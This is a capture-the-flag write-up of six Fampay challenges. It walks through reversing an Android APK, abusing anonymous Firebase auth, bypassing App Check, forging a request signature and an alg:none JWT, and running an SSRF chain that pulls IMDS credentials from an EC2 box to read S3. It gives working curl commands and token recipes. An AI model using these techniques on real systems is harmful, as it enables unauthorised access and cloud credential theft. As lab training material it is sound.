Fampay FAM CTF — Full Writeup (All 6 Challenges)
A mobile/web/cloud CTF track from ctf.fampay.co. The chain starts with reversing an Android APK and ends with an AWS SSRF → IMDS → S3 privilege chain on a live EC2 box. Below is what we did, step by step, for every challenge.
Setup: The APK
Everything for challenges 01–05 comes from one file: fam-ctf.apk. Decompiling com.ctf.fam.MainActivity surfaced:
- A hardcoded Firebase
API_KEYand project ID674578159678 - Three interesting native functions inside
libfam.so:getDebugToken,computeSignature,getUsernames - A call to
https://ctf.fampay.co/api/checkwith a customX-Signatureheader - Firebase App Check wired up via
DebugTokenAppCheckProviderFactory
This told us the whole track was going to be: strings → Firebase auth → native reversing → signature forgery → JWT forgery → cloud pivot.
01 — THE LIBRARY
What we did: Just read the binary. No dynamic analysis needed — the decoy flag was sitting in plaintext inside libfam.so.
strings lib/x86_64/libfam.so | grep FAM
Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
02 — THE DATABASE
What we did: Firebase RTDB was reachable with anonymous auth using the API key found in the APK. We signed up anonymously, grabbed the idToken, and used it to read the flag node directly.
# Sign up anonymously
curl -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
-H "Content-Type: application/json" -d '{"returnSecureToken":true}'
# Read the flag
curl -s "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"
No real auth was actually enforced — anonymous identity was enough.
Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}
03 — THE VAULT
What we did: getDebugToken() in libfam.so XOR-decodes a 36-byte App Check debug token straight out of .rodata. The tricky part was the byte-permutation index math — our first guess (i * 9) was wrong; the actual lea instruction chain resolved to a multiplier of 19:
i - ((i * 0xd79435e50d79435f >> 64) >> 4) * 19
Decoding with the correct multiplier gave us a clean UUID:
8F76557D-A35A-4B51-94D4-D0DF98D79B55
From there it was a standard App Check flow:
- Exchange the debug token for an App Check token (
exchangeDebugToken) - Reuse the anonymous
idTokenfrom challenge 02 - Hit Firestore directly with both tokens:
GET https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3
Authorization: Bearer <idToken>
X-Firebase-AppCheck: <appCheckToken>
Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}
04 — THE ENDPOINT
What we did: The /api/check endpoint only accepts requests where X-Signature correctly hashes POST|/api/check|{"username":"admin"} using a custom function baked into libfam.so (offset 0x68f0). We reverse engineered it piece by piece:
- Key material
FAM_s3cr3t_k3y_2026is stored XOR'd with0xaaat offset0x34f0, recovered with indexi % 19 - Four 64-bit state words are initialized from offset
0x3570 - A per-byte mixing pass runs, followed by a 4×4 finalization:
st[j] = mix(st[j] ^ st[(j+1)%4]) - Final output is four
%016llxblocks concatenated into a 64-char hex signature
Dead end worth calling out: there's a branch that XORs0xDEADBEEFCAFEBABEinto state whenever an FNV hash equals0xDCC67ECA15A7C732. We initially chased this as the "real" path — it's a red herring and produces the wrong signature for the admin payload.
Once we implemented the correct mixing logic in Python, we replayed the signature:
curl -s https://ctf.fampay.co/api/check \
-H "Content-Type: application/json" \
-H "X-Signature: <64-hex>" \
-d '{"username":"admin"}'
Flag: FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
05 — THE VAULT DOOR
What we did: NexaVault's admin panel trusts a JWT stored in the nx_access cookie — and accepts alg: none. Classic JWT bypass:
- Register a normal account at
/famctf/register - Forge a token with no signature and
"role":"admin":
header: {"alg":"none","typ":"JWT"}
payload: {"sub":"<any>","role":"admin"}
token: base64url(header).base64url(payload).
- Send it as the cookie:
curl -s https://ctf.fampay.co/famctf/admin -b "nx_access=<token>"
The flag was rendered directly in the admin vault page HTML.
Flag: FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
06 — THE CLOUD
This was the meatiest one — a real SSRF-to-cloud-credential-theft chain against a live per-player EC2 instance.
Provisioning
Logged into CTFd, opened challenge 06, hit "Launch My Environment" (or POST /cloud/launch with session cookies) to get a fresh EC2 IP with a ~30 minute TTL.
Recon
The box runs a "NexOps" dashboard exposing:
| Endpoint | What it gave us |
|---|---|
GET /metrics/config |
S3 bucket name, per-player S3 prefix, IMDS path, and a debug_endpoints: true flag |
GET /metrics/system |
Hostname/region/instance type |
POST /internal/webhook?url=<target> |
An open SSRF proxy that makes requests from the VPC |
/metrics/config leaked exactly what we needed:
{
"storage": {
"bucket": "fam-ctf-cloud-challenge",
"prefix": "players/371",
"region": "ap-south-1"
},
"identity": {
"imds": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
The Chain
1. Get an IMDSv2 token. Requesting 169.254.169.254 directly through the webhook was blocked outright. The fix was using the hostname instance-data instead. Also had to use PUT, not POST — POST returned 405:
PUT /internal/webhook?url=http://instance-data/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
2. Pull IAM credentials. The token had to be forwarded via a GET request — POST silently dropped the header and returned 403:
GET .../iam/security-credentials/
→ role name: ctf-cloud-player-371
GET .../iam/security-credentials/ctf-cloud-player-371
→ temp AccessKeyId / SecretAccessKey / SessionToken
3. Read the flag from S3. The bucket is VPC-scoped, so a direct SigV4 request from our own machine using the stolen creds just got AccessDenied — the request has to originate from EC2. We routed a fully SigV4-signed request back through the webhook (had to use HTTPS — HTTP just hung):
GET https://fam-ctf-cloud-challenge.s3.ap-south-1.amazonaws.com/players/371/flag.txt
(Authorization + X-Amz-* headers passed through GET /internal/webhook)
Chain Summary
/metrics/config → bucket + prefix
↓
PUT webhook → instance-data/api/token (IMDSv2 token)
↓
GET webhook + token → IAM creds (role: ctf-cloud-player-371)
↓
GET webhook + SigV4 → S3 flag.txt (from inside the VPC)
Flag: FAM{cl0ud_ssrf_imds_40d5de29c6ff}